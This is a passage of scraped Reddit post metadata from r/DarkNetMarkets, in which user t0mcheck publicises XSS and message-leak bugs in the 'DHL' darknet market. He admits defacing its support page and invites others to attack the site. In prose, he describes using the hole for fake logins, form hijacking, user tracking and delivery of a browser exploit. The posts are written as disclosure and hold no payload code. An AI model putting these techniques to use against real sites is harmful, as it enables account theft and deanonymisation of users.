9zSLutxKquuNWB6/bsLK02F9hspr7jfnHPoMpQeNl0acILHkk0Hcekgcv2vhfZJf\n iMW5AQ0EWYBZ4wEIAMhsh8e4325KdXaHVkudZJ8mYQ+tVJ1t2XafbXhqKeB1JWzD\n DsFJQRjCc9oHpZyhFb8RN9ZIZcI7OXMSzi9hJ0oK4nBLnXHLEk80fQwVpXOC15dV\n M5o1mdGFpcaaIu9QEFjPsl5ayZiy09unZhFI+4KUUmu45gOQNyNY/ZrFRusCW2cY\n bcecA+17sOiXZS+k75D2Yyoq3z3nrpzsPCjgbou+aoZ6lIwSKiyTvBn8r3cZ65c2\n tJxj2mhLkbaCb2SqS/d52nKI9VQs/0xcZpkGFWMT9UcYMZO7J6STbr5IaqV7+5QG\n dkGMMu9gJiUa+nsUUKrTe8l2SLpeuTALPWVdXl8AEQEAAYkBPAQYAQoAJhYhBNld\n hwyVo3hJOu3o9lqNGW99NTA5BQJZgFnjAhsMBQkDwmcAAAoJEFqNGW99NTA59+oH\n /2gMBVNV0+L/2yvmf4Neu/1Y0wsuI2ju49ueTyUG70wbGZGED4h1nh3jU8BHPFgt\n xPg/Zbxr/wb5qg4C1aFnX8V+fz/MiFO7kkcFrRtGsizPodWwL0oZ+nwu0JZxSdy+\n aWWxZBq7nZwN6cXB+ODsCB5XpqS65uxT5w/GbvX5bcK4kG1AK3ADy53VRYTMQR32\n K2CbAu7lQIBgamAmdLA8fiRMsTySuB7lcWXYVkONx+1KI2sAN1Ph0uxhPlMieyZo\n uNuJSFDSXLFudhvclpTdApAirXbUdLNUn/NoY8m2csfFrtrAMyUH+tKBfFL2aGNW\n ProQygbztRY/zkg8cfNja1k=\n =cRIz\n -----END PGP PUBLIC KEY BLOCK-----\n\n\n**edit** if you're the `dhlol` person who left the issue on GitHub get in touch",
6213 "spoiler": false,
6214 "stickied": false,
6215 "subreddit": "DarkNetMarkets",
6216 "subreddit_id": "t5_2yt0h",
6217 "thumbnail": "self",
6218 "title": "DHL Market Security Part 3 - Operation Return to Sender",
6219 "url": "https://www.reddit.com/r/DarkNetMarkets/comments/6ry4n9/dhl_market_security_part_3_operation_return_to/"
6220 },
6221 {
6222 "author": "t0mcheck",
6223 "author_flair_css_class": null,
6224 "author_flair_text": null,
6225 "brand_safe": false,
6226 "can_mod_post": false,
6227 "contest_mode": false,
6228 "created_utc": 1501772853,
6229 "domain": "self.DarkNetMarkets",
6230 "full_link": "https://www.reddit.com/r/DarkNetMarkets/comments/6rcwiv/dhl_market_security_part_2_all_private_messages/",
6231 "id": "6rcwiv",
6232 "is_self": true,
6233 "is_video": false,
6234 "link_flair_css_class": "a",
6235 "link_flair_text": "Market Complaint ",
6236 "locked": false,
6237 "num_comments": 244,
6238 "over_18": true,
6239 "permalink": "/r/DarkNetMarkets/comments/6rcwiv/dhl_market_security_part_2_all_private_messages/",
6240 "post_hint": "self",
6241 "preview": {
6242 "enabled": false,
6243 "images": [
6244 {
6245 "id": "57xPvb8-VLhDwAOm3Nzh1Tequ7SrR4_WzlozKhrIDJc",
6246 "resolutions": [
6247 {
6248 "height": 62,
6249 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=108&s=584a03f51a0634e9a57ffc82d2916e5d",
6250 "width": 108
6251 },
6252 {
6253 "height": 125,
6254 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=216&s=15021f4c5930639c996478e6baf715c6",
6255 "width": 216
6256 },
6257 {
6258 "height": 185,
6259 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=320&s=b9fe7908b6fdb2ed0b5ce1a61f717885",
6260 "width": 320
6261 },
6262 {
6263 "height": 371,
6264 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=640&s=626d0c5b8edf44934c457a16cd4d5bae",
6265 "width": 640
6266 },
6267 {
6268 "height": 556,
6269 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=960&s=1812e16f88c4999859206a0397bc5c91",
6270 "width": 960
6271 },
6272 {
6273 "height": 626,
6274 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=1080&s=73369e8cb17b60376b459d158b8e7c58",
6275 "width": 1080
6276 }
6277 ],
6278 "source": {
6279 "height": 1666,
6280 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?s=1e78510e68109f9fe8f5d60aa324b8e1",
6281 "width": 2872
6282 },
6283 "variants": {
6284 "nsfw": {
6285 "resolutions": [
6286 {
6287 "height": 62,
6288 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=108&fm=png&blur=600&px=32&s=88a88bed758b30a77fd0014626792506",
6289 "width": 108
6290 },
6291 {
6292 "height": 125,
6293 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=216&fm=png&blur=600&px=32&s=f25f4ac7b182f4dced607d46a0b5e972",
6294 "width": 216
6295 },
6296 {
6297 "height": 185,
6298 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=320&fm=png&blur=600&px=32&s=8015dbc3c3e2bd1a4ccd86b72c07325b",
6299 "width": 320
6300 },
6301 {
6302 "height": 371,
6303 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=640&fm=png&blur=600&px=32&s=070ebbe72b26d099939c19ba139d6479",
6304 "width": 640
6305 },
6306 {
6307 "height": 556,
6308 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=960&fm=png&blur=600&px=32&s=9f8c207fbcbeeb59455010556f05d96f",
6309 "width": 960
6310 },
6311 {
6312 "height": 626,
6313 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=1080&fm=png&blur=600&px=32&s=1ad185e296d0ecfb68f9c4807222705b",
6314 "width": 1080
6315 }
6316 ],
6317 "source": {
6318 "height": 1666,
6319 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fm=png&blur=600&px=32&s=829c3d37ed906087ee9a006a99b56827",
6320 "width": 2872
6321 }
6322 },
6323 "obfuscated": {
6324 "resolutions": [
6325 {
6326 "height": 62,
6327 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=108&fm=png&blur=600&px=32&s=88a88bed758b30a77fd0014626792506",
6328 "width": 108
6329 },
6330 {
6331 "height": 125,
6332 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=216&fm=png&blur=600&px=32&s=f25f4ac7b182f4dced607d46a0b5e972",
6333 "width": 216
6334 },
6335 {
6336 "height": 185,
6337 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=320&fm=png&blur=600&px=32&s=8015dbc3c3e2bd1a4ccd86b72c07325b",
6338 "width": 320
6339 },
6340 {
6341 "height": 371,
6342 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=640&fm=png&blur=600&px=32&s=070ebbe72b26d099939c19ba139d6479",
6343 "width": 640
6344 },
6345 {
6346 "height": 556,
6347 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=960&fm=png&blur=600&px=32&s=9f8c207fbcbeeb59455010556f05d96f",
6348 "width": 960
6349 },
6350 {
6351 "height": 626,
6352 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=1080&fm=png&blur=600&px=32&s=1ad185e296d0ecfb68f9c4807222705b",
6353 "width": 1080
6354 }
6355 ],
6356 "source": {
6357 "height": 1666,
6358 "url": "https://i.redditmedia.com/tzxMjus2_4TqhNgQG-wRvlXPrLbFCtbTm09Lwuj4yeQ.jpg?fm=png&blur=600&px=32&s=829c3d37ed906087ee9a006a99b56827",
6359 "width": 2872
6360 }
6361 }
6362 }
6363 }
6364 ]
6365 },
6366 "retrieved_on": 1501852689,
6367 "score": 159,
6368 "selftext": "As part of our campaign of holding DHL accountable for their security vulnerabilities - we are now disclosing that the market contains a very simple bug that allows anybody to read any message on the site.\n\nThe details are here:\n\nhttps://gist.github.com/anonymous/97d1e2319b78210606d41f3309aa4c21\n\nIf you're a researcher have a go at the site - almost none of the form parameters on the site are validated - this site is incredibly horrible and nobody should be using it.\n\nThe administrators of DHL have not replied to any of our previous reports nor messages and it has been over 48 hours. They have [promised to give a \"truthful\" response and not delivered](https://www.reddit.com/r/DarkNetMarkets/comments/6r31bo/dhl_will_give_an_official_truthful_response_to) and referred to previous vulnerability [disclosures as \"reddit drama\" and those reporting bugs as \"clowns\"](https://www.reddit.com/r/DarkNetMarkets/comments/6ra0kg/dhl_statement/)\n\nOne more note - we are not going to put up with shit from admins, paid spokespeople or shill moderators any longer. We are no longer reporting vulnerabilities as we find them and we are sitting on many more - keep this in mind before you attempt to jump in again and deny or attempt to FUD in this sub.\n\nProps to you-know-who for the tips, everyone working on the DNMs together and the peeps who have PM'd and messaged. ",
6369 "spoiler": false,
6370 "stickied": false,
6371 "subreddit": "DarkNetMarkets",
6372 "subreddit_id": "t5_2yt0h",
6373 "thumbnail": "self",
6374 "title": "DHL Market Security Part 2 - All Private Messages Leaked",
6375 "url": "https://www.reddit.com/r/DarkNetMarkets/comments/6rcwiv/dhl_market_security_part_2_all_private_messages/"
6376 },
6377 {
6378 "author": "t0mcheck",
6379 "author_flair_css_class": null,
6380 "author_flair_text": null,
6381 "brand_safe": false,
6382 "can_mod_post": false,
6383 "contest_mode": false,
6384 "created_utc": 1501708933,
6385 "domain": "self.DarkNetMarkets",
6386 "edited": 1501724362,
6387 "full_link": "https://www.reddit.com/r/DarkNetMarkets/comments/6r7g5s/dhl_is_down/",
6388 "id": "6r7g5s",
6389 "is_self": true,
6390 "is_video": false,
6391 "link_flair_css_class": "a",
6392 "link_flair_text": "Market Complaint Accusation",
6393 "locked": false,
6394 "num_comments": 69,
6395 "over_18": true,
6396 "permalink": "/r/DarkNetMarkets/comments/6r7g5s/dhl_is_down/",
6397 "retrieved_on": 1501789898,
6398 "score": 26,
6399 "selftext": "The clearnet IP and onion address - both market and forum - just went down at the same time\n\nlatest:\n\n1. admins on DHL said they'll attend to the \"reddit drama\" soon\n1. still haven't replied to anyone reporting bugs to them\n1. still haven't fixed the bugs (their support panel is still displaying goatse lol)\n1. the live IP previously published on this sub by someone who was subsequently banned by the mods is undeniably the DHL IP - don't let anyone FUD you into not believing that",
6400 "spoiler": false,
6401 "stickied": false,
6402 "subreddit": "DarkNetMarkets",
6403 "subreddit_id": "t5_2yt0h",
6404 "thumbnail": "self",
6405 "title": "DHL Is Down",
6406 "url": "https://www.reddit.com/r/DarkNetMarkets/comments/6r7g5s/dhl_is_down/"
6407 },
6408 {
6409 "author": "t0mcheck",
6410 "author_flair_css_class": null,
6411 "author_flair_text": null,
6412 "brand_safe": false,
6413 "can_mod_post": false,
6414 "contest_mode": false,
6415 "created_utc": 1501649766,
6416 "domain": "self.DarkNetMarkets",
6417 "edited": 1501652337,
6418 "full_link": "https://www.reddit.com/r/DarkNetMarkets/comments/6r1yh1/petition_to_remove_dhl_from_the_superlist/",
6419 "id": "6r1yh1",
6420 "is_self": true,
6421 "is_video": false,
6422 "link_flair_css_class": "g",
6423 "link_flair_text": "Suggestion",
6424 "locked": false,
6425 "num_comments": 72,
6426 "over_18": true,
6427 "permalink": "/r/DarkNetMarkets/comments/6r1yh1/petition_to_remove_dhl_from_the_superlist/",
6428 "post_hint": "self",
6429 "preview": {
6430 "enabled": false,
6431 "images": [
6432 {
6433 "id": "M0GZq3ADx4Qmi0RvxMLhgE9LGPCD4DlDr4jCrndOgoE",
6434 "resolutions": [
6435 {
6436 "height": 66,
6437 "url": "https://i.redditmedia.com/ait_-nSUBGsREZ8P01cnSrgWHwhHT0qGVZR5VcEwGeA.png?fit=crop&crop=faces%2Centropy&arh=2&w=108&s=60a3c5f2ff21b04b24bf60cfeee2ffa1",
6438 "width": 108
6439 },
6440 {
6441 "height": 132,
6442 "url": "https://i.redditmedia.com/ait_-nSUBGsREZ8P01cnSrgWHwhHT0qGVZR5VcEwGeA.png?fit=crop&crop=faces%2Centropy&arh=2&w=216&s=57b5ec447e83eb121d55ce73051c207f",
6443 "width": 216
6444 },
6445 {
6446 "height": 196,
6447 "url": "https://i.redditmedia.com/ait_-nSUBGsREZ8P01cnSrgWHwhHT0qGVZR5VcEwGeA.png?fit=crop&crop=faces%2Centropy&arh=2&w=320&s=9b779503a6d5229b39487bf702a908e6",
6448 "width": 320
6449 },
6450 {
6451 "height": 393,
6452 "url": "https://i.redditmedia.com/ait_-nSUBGsREZ8P01cnSrgWHwhHT0qGVZR5VcEwGeA.png?fit=crop&crop=faces%2Centropy&arh=2&w=640&s=89cb28df9d079b0cf27cbb849643fd1b",
6453 "width": 640
6454 }
6455 ],
6456 "source": {
6457 "height": 393,
6458 "url": "https://i.redditmedia.com/ait_-nSUBGsREZ8P01cnSrgWHwhHT0qGVZR5VcEwGeA.png?s=1ca67be10c5daa9db94fc56a71e1a84b",
6459 "width": 640
6460 },
6461 "variants": {
6462 "nsfw": {
6463 "resolutions": [
6464 {
6465 "height": 66,
6466 "url": "https://i.redditmedia.com/ait_-nSUBGsREZ8P01cnSrgWHwhHT0qGVZR5VcEwGeA.png?fit=crop&crop=faces%2Centropy&arh=2&w=108&fm=png&blur=600&px=32&s=c6714dc54623836c45e8fc6b68746d59",
6467 "width": 108
6468 },
6469 {
6470 "height": 132,
6471 "url": "https://i.redditmedia.com/ait_-nSUBGsREZ8P01cnSrgWHwhHT0qGVZR5VcEwGeA.png?fit=crop&crop=faces%2Centropy&arh=2&w=216&fm=png&blur=600&px=32&s=f004051d174b555733bb674ed0570f8f",
6472 "width": 216
6473 },
6474 {
6475 "height": 196,
6476 "url": "https://i.redditmedia.com/ait_-nSUBGsREZ8P01cnSrgWHwhHT0qGVZR5VcEwGeA.png?fit=crop&crop=faces%2Centropy&arh=2&w=320&fm=png&blur=600&px=32&s=4e113d86cd5cdbed1ff8196391bc5ff0",
6477 "width": 320
6478 },
6479 {
6480 "height": 393,
6481 "url": "https://i.redditmedia.com/ait_-nSUBGsREZ8P01cnSrgWHwhHT0qGVZR5VcEwGeA.png?fit=crop&crop=faces%2Centropy&arh=2&w=640&fm=png&blur=600&px=32&s=18cc813a470b9546e092162b6837a0f5",
6482 "width": 640
6483 }
6484 ],
6485 "source": {
6486 "height": 393,
6487 "url": "https://i.redditmedia.com/ait_-nSUBGsREZ8P01cnSrgWHwhHT0qGVZR5VcEwGeA.png?fm=png&blur=600&px=32&s=22608e870fe0f6c147248f46356b1696",
6488 "width": 640
6489 }
6490 },
6491 "obfuscated": {
6492 "resolutions": [
6493 {
6494 "height": 66,
6495 "url": "https://i.redditmedia.com/ait_-nSUBGsREZ8P01cnSrgWHwhHT0qGVZR5VcEwGeA.png?fit=crop&crop=faces%2Centropy&arh=2&w=108&fm=png&blur=600&px=32&s=c6714dc54623836c45e8fc6b68746d59",
6496 "width": 108
6497 },
6498 {
6499 "height": 132,
6500 "url": "https://i.redditmedia.com/ait_-nSUBGsREZ8P01cnSrgWHwhHT0qGVZR5VcEwGeA.png?fit=crop&crop=faces%2Centropy&arh=2&w=216&fm=png&blur=600&px=32&s=f004051d174b555733bb674ed0570f8f",
6501 "width": 216
6502 },
6503 {
6504 "height": 196,
6505 "url": "https://i.redditmedia.com/ait_-nSUBGsREZ8P01cnSrgWHwhHT0qGVZR5VcEwGeA.png?fit=crop&crop=faces%2Centropy&arh=2&w=320&fm=png&blur=600&px=32&s=4e113d86cd5cdbed1ff8196391bc5ff0",
6506 "width": 320
6507 },
6508 {
6509 "height": 393,
6510 "url": "https://i.redditmedia.com/ait_-nSUBGsREZ8P01cnSrgWHwhHT0qGVZR5VcEwGeA.png?fit=crop&crop=faces%2Centropy&arh=2&w=640&fm=png&blur=600&px=32&s=18cc813a470b9546e092162b6837a0f5",
6511 "width": 640
6512 }
6513 ],
6514 "source": {
6515 "height": 393,
6516 "url": "https://i.redditmedia.com/ait_-nSUBGsREZ8P01cnSrgWHwhHT0qGVZR5VcEwGeA.png?fm=png&blur=600&px=32&s=22608e870fe0f6c147248f46356b1696",
6517 "width": 640
6518 }
6519 }
6520 }
6521 }
6522 ]
6523 },
6524 "retrieved_on": 1501729338,
6525 "score": 71,
6526 "selftext": "After I reported [security issues yesterday](https://pay.reddit.com/r/DarkNetMarkets/comments/6qxd1o/dhl_market_security_vulnerabilities/) in DHL the admin came into the thread and [reacted poorly](https://pay.reddit.com/r/DarkNetMarkets/comments/6qxd1o/dhl_market_security_vulnerabilities/dl1ezj1/) denying the seriousness of this bug\n\nThe purpose of this post is to break through the FUD in those replies and lay out exactly why this is a serious issue and why the response from DHL **disqualifies them from ever running a market**\n\n1. First - many point out that the bug is an XSS and thus if you have Javascript disabled the examples will not run. This is true - but executing Javascript *is just one way to exploit XSS bugs*. With persistent xss bugs that are stored in the database **it alters the output page to whatever the attacker wants**\n\n1. Here is an example of what I mean - as a troll because DHL were not replying to me I redesigned their feedback support page and it [now looks like this](http://preview.ibb.co/jOHKZk/dhl_001.png)\n\n1. The support people - who would assume run Tails and Javascript disabled etc. **confirm they can see this altered output** ([see screenshot](http://image.ibb.co/gmLj0Q/Screen_Shot_2017_08_02_at_2_44_28_PM.png))\n\n1. Usually when we are exploiting persistent XSS bugs - we need to work around certain characters not being filtered or allowed, such as apostrophes or semi colons. This means that sometimes an exploit can be complicated and take some time to develop. **In the case of DHL nothing is being filtered - I can add whatever I want to the page unencumbered**\n\n1. Here are some example of what can be done with this - even in the case of running Tails and Tor. I can frame the entire DHL page and **show a fake login page**. I can rewrite forms **to submit to my own server**. I can load simple images from my own site to **track traffic and profile users** but worst of all is what is next\n\n1. Given a Firefox vulnerability - such as the one used in the PlayPen and against other DNM sites - **it would be trivial to deliver that vulnerability using this exploit** - previous law enforcement efforts exposing Tor users have started with locating the hidden service, taking control of it, and then delivering the exploit - **this wouldn't be required in this case - submitting a form one time is enough**\n\n1. This is the type of stuff you read at the beginning of criminal indictments and we all slap our foreheads and think \"how could they be that stupid\" - yet here is an opportunity to *stop it before it happens*\n\n1. To anyone replying \"just run x, y or z\" there is a reason why \"don't trust the client\" is drilled into infosec experts during infosec 101 and is a **major principal of infosec** (see [here](https://security.stackexchange.com/questions/115331/if-you-can-never-trust-the-client-then-why-do-companies-such-as-valve-rely-so) and [here](https://security.stackexchange.com/questions/105389/dont-trust-the-client))\n\nFurther issues with DHL admin - which IMO completely disqualify them from ever running a darknet market\n\n1. DHL admit they've known about this issue for [two years](https://pay.reddit.com/r/DarkNetMarkets/comments/6qxd1o/dhl_market_security_vulnerabilities/dl13vbi/) and downplay the significance. Anybody who doesn't see the significance of this bug shouldn't be running a DNM - it is that simple\n1. Rather than talking through the bug - DHL Admin [posts his user and vendor data as a bounty](https://pay.reddit.com/r/DarkNetMarkets/comments/6qxd1o/dhl_market_security_vulnerabilities/dl14gg9/) and dares people to hack them. His user and vendor data **isn't his to offer as a bounty** and is completely irresponsible\n1. \"We haven't been hacked so far\" - is **not a defense** - everybody hasn't been hacked until they have been. I'll also point out that DHL isn't much of a significant target - don't let it become one\n1. This isn't the only DHL issue - they are currently **leaking their IP address** [here](https://pay.reddit.com/r/DarkNetMarkets/comments/6r1aa4/warning_dhl_market_disclosed_ips_of_server/) and have had previous issues [here](https://www.reddit.com/r/DarkNetMarkets/comments/6r23lu/dhl_market_access_in_panel_staff_without/).\n\nIf I can add some further color and comments to this thread as someone who works in infosec - these responses from admin are shockingly incompetant. The darknetmarkets are supposed to be the pinnacle of site security and OPSEC yet you have admins here who understand security less than some of the worst sites i've dealt with in real life - and some of those sites didn't have a lifetime prison sentences hinging on their security or nation-state level adversaries\n\n**It doesn't have to be this way - don't accept it - expel the amateur operators and make DNMs better otherwise shit will never change**\n",
6527 "spoiler": false,
6528 "stickied": false,
6529 "subreddit": "DarkNetMarkets",
6530 "subreddit_id": "t5_2yt0h",
6531 "thumbnail": "self",
6532 "title": "Petition to remove DHL from the Superlist",
6533 "url": "https://www.reddit.com/r/DarkNetMarkets/comments/6r1yh1/petition_to_remove_dhl_from_the_superlist/"
6534 },
6535 {
6536 "author": "t0mcheck",
6537 "author_flair_css_class": null,
6538 "author_flair_text": null,
6539 "brand_safe": false,
6540 "can_mod_post": false,
6541 "contest_mode": false,
6542 "created_utc": 1501646040,
6543 "domain": "self.DNMSuperlist",
6544 "full_link": "https://www.reddit.com/r/DNMSuperlist/comments/6r1n6p/dhl_warnings/",
6545 "id": "6r1n6p",
6546 "is_self": true,
6547 "is_video": false,
6548 "link_flair_css_class": "pink",
6549 "link_flair_text": "Market Complaint Accusation",
6550 "locked": false,
6551 "num_comments": 0,
6552 "over_18": true,
6553 "permalink": "/r/DNMSuperlist/comments/6r1n6p/dhl_warnings/",
6554 "retrieved_on": 1501727361,
6555 "score": 1,
6556 "selftext": "DHL needs three warnings. \n\n1. [The security vulnerabilities](https://pay.reddit.com/r/DarkNetMarkets/comments/6qxd1o/dhl_market_security_vulnerabilities)\n1. [Denying seriousness of bugs that allow anyone to rewrite the site output and acknowledging not fixing bugs for two years](https://pay.reddit.com/r/DarkNetMarkets/comments/6qxd1o/dhl_market_security_vulnerabilities/dl13vbi/)\n1. [Using vendor and user data as a loot to hackers to prove that bugs are real](https://pay.reddit.com/r/DarkNetMarkets/comments/6qxd1o/dhl_market_security_vulnerabilities/dl14gg9/)",
6557 "spoiler": false,
6558 "stickied": false,
6559 "subreddit": "DNMSuperlist",
6560 "subreddit_id": "t5_3itnw",
6561 "suggested_sort": "top",
6562 "thumbnail": "self",
6563 "title": "DHL Warnings",
6564 "url": "https://www.reddit.com/r/DNMSuperlist/comments/6r1n6p/dhl_warnings/"
6565 },
6566 {
6567 "author": "t0mcheck",
6568 "author_flair_css_class": null,
6569 "author_flair_text": null,
6570 "brand_safe": false,
6571 "can_mod_post": false,
6572 "contest_mode": false,
6573 "created_utc": 1501604853,
6574 "domain": "self.DarkNetMarkets",
6575 "full_link": "https://www.reddit.com/r/DarkNetMarkets/comments/6qxd1o/dhl_market_security_vulnerabilities/",
6576 "id": "6qxd1o",
6577 "is_self": true,
6578 "is_video": false,
6579 "link_flair_css_class": "a",
6580 "link_flair_text": "Market Complaint",
6581 "locked": false,
6582 "num_comments": 138,
6583 "over_18": true,
6584 "permalink": "/r/DarkNetMarkets/comments/6qxd1o/dhl_market_security_vulnerabilities/",
6585 "post_hint": "self",
6586 "preview": {
6587 "enabled": false,
6588 "images": [
6589 {
6590 "id": "7xu2mO0I3-1vKBDoJv9hiZaI1D2Ipi46aGhy-zh113I",
6591 "resolutions": [
6592 {
6593 "height": 64,
6594 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=108&s=8bd7e9743dc913218a40ca180665c5a1",
6595 "width": 108
6596 },
6597 {
6598 "height": 129,
6599 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=216&s=306abc2e765c0bdafcd37e5b73653398",
6600 "width": 216
6601 },
6602 {
6603 "height": 191,
6604 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=320&s=7089237d140ea51ee9036d0fd4051bcf",
6605 "width": 320
6606 },
6607 {
6608 "height": 383,
6609 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=640&s=a1df15e6a4b8561a8b0a6e71a3ff4fb3",
6610 "width": 640
6611 },
6612 {
6613 "height": 574,
6614 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=960&s=853597a30da9876908eeebf04b96cd57",
6615 "width": 960
6616 },
6617 {
6618 "height": 646,
6619 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=1080&s=5faf292f18f58768b2061ee0f4933787",
6620 "width": 1080
6621 }
6622 ],
6623 "source": {
6624 "height": 838,
6625 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?s=04b9817a14792c6ab35e42f3735d2fd5",
6626 "width": 1400
6627 },
6628 "variants": {
6629 "nsfw": {
6630 "resolutions": [
6631 {
6632 "height": 64,
6633 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=108&fm=png&blur=600&px=32&s=c26c01e454aba00e2e54186204fa0311",
6634 "width": 108
6635 },
6636 {
6637 "height": 129,
6638 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=216&fm=png&blur=600&px=32&s=1d3d9ecb3822749f36be9ac9655a122c",
6639 "width": 216
6640 },
6641 {
6642 "height": 191,
6643 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=320&fm=png&blur=600&px=32&s=fbefe48945bca6d1110492c6191ee56f",
6644 "width": 320
6645 },
6646 {
6647 "height": 383,
6648 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=640&fm=png&blur=600&px=32&s=f43a58a4f216c1a579dd75bb83128d0e",
6649 "width": 640
6650 },
6651 {
6652 "height": 574,
6653 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=960&fm=png&blur=600&px=32&s=9f242617fc1d06847c69e3da321012e8",
6654 "width": 960
6655 },
6656 {
6657 "height": 646,
6658 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=1080&fm=png&blur=600&px=32&s=0b8c8fd40d8c24a477dbfd01f62454de",
6659 "width": 1080
6660 }
6661 ],
6662 "source": {
6663 "height": 838,
6664 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fm=png&blur=600&px=32&s=a001c1a1b1cb1117f4e0b9234be7eb13",
6665 "width": 1400
6666 }
6667 },
6668 "obfuscated": {
6669 "resolutions": [
6670 {
6671 "height": 64,
6672 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=108&fm=png&blur=600&px=32&s=c26c01e454aba00e2e54186204fa0311",
6673 "width": 108
6674 },
6675 {
6676 "height": 129,
6677 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=216&fm=png&blur=600&px=32&s=1d3d9ecb3822749f36be9ac9655a122c",
6678 "width": 216
6679 },
6680 {
6681 "height": 191,
6682 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=320&fm=png&blur=600&px=32&s=fbefe48945bca6d1110492c6191ee56f",
6683 "width": 320
6684 },
